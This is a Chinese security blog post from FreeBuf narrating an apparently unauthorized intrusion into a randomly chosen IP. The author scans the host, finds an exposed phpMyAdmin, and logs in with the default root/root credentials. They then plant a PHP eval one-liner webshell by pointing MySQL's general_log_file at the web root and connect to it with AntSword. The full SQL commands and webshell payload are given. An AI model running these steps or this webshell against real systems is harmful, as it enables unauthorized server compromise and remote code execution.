freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

99+

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

记一次偶然的渗透测试
白白白海鸥 2021-04-04 20:07:35 240150

前言

这段时间来任务,需要扫描一批IP。反正也闲的无聊,等扫描完成还需要一段时间,就随手拿了个IP来测试一下。

一、端口扫描

用nmap简单扫描了一下,发现开了80和3306端口,
nmap1

二、目录扫描

尝试用浏览器访问一下IP,显示403,没有权限访问,如下图:
403

为了扩大攻击面,扫了一波目录,结果扫出了两目录,如下图:

phpmyadmin1

本来还有些困,看到目录名后一下精神起来了,先尝试访问一下/log.php,如下图:
logphp

可以看到,这里泄露了网站的数据库版本,以及网站的绝对路径

三、弱口令

再来访问一下/phpmyadmin1,果不其然是phpmyadmin的登录界面,如下图:
phpmyadmin登录

先尝试下默认密码:root,root,如下图:
php后台界面
没想到直接进去了,网站管理员也太随便了,好吧,刚拿起爆破工具的手又放下了。

四、拿下shell

既然进入了phpmyadmin,下一步要做的自然就是尝试getshell了,而在phpmyadmin中getshell的方式我知道两种,先来尝试第一种方式。

1. 通过into outfile写入一句话木马

getshell的两种方式都必须知道网站的绝对路径。这个时候我们之前做的目录扫描不就起到了作用嘛,在/log.php这个目录下就直接暴露了网站的绝对路径(D:\phpstudy\WWW),如下图:

绝对路径

OK,现在可谓是万事具备。
先创建一个名为test123的数据库,再创建一张名为test_table的表和一个名为name的字段,代码如下:

create database test123;
create table test_table(name varchar(50));

创建数据库

创建表

然后尝试给name字段添加一个值,值的内容为一句话木马:如下图:
插入一句话

现在一句话木马虽然插入成功了,但还不能够运行,需要将包含木马的test_table表导出为一个php文件,这样木马就可以成功执行了,代码如下:

select name from test.test_table into outfile 'D:\phpStudy\WWW\a.php';

导出失败

显示语句执行失败了,看报错信息,“MySQL服务器正在使用–secure-file-priv选项运行,因此它无法执行此语句”。那么我们查询一下secure-file-priv的值,代码如下:

show global variables like '%secure%';

secure为空

可以看到,“secure_file_priv”对应的值为NULL,为NULL就没办法正常写入一句话,所以我们现在把secure_file_priv设置为网站的根目录,再去尝试使用into outfile getshell,如下图:

只读变量
然而报错信息显示secure_file_priv是只读变量,无法修改。
至此,想通过into outfile拿到shell是不可能了。

2. 通过日志写入一句话木马

没办法,我们转而尝试第二种方法,尝试利用日志getshell。
在这里简单介绍一下:

Mysql的两个全局变量:
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径。

我们先查看一下两个变量的状态,代码如下:

show global variables like '%general%';

off关闭
从上图可以看到general_log是off状态,我们将其改为on,打开后就会生成日志文件,再将general_log_file的值改为D:\phpStudy\WWW\xxx.php,代码如下:

set global general_log='on';
set global general_log_file='D:\\phpStudy\\WWW\\a.php';
(注意:绝对路径在这里要用双斜杠,单斜杠会执行失败)

a.php是日志文件,也是我们等下要连接的木马。

那么现在直接将一句话木马写入到日志文件,代码如下:

select '<?php eval(@$_POST['pass123']); ?>';

写入成功

这里提示有语法错误,我们不用管。尝试用蚁剑连接一下,成功。

蚁剑连接成功

# 渗透测试 # 黑客 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 白白白海鸥 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
白白白海鸥 LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 28 关注者
SQL注入之sqli-labs(Less7-22)
2021-06-15
SQL注入之sqli-labs(安装与配置)
2021-06-02
SQL注入之sqli-labs(Less1-6)
2021-05-22
文章目录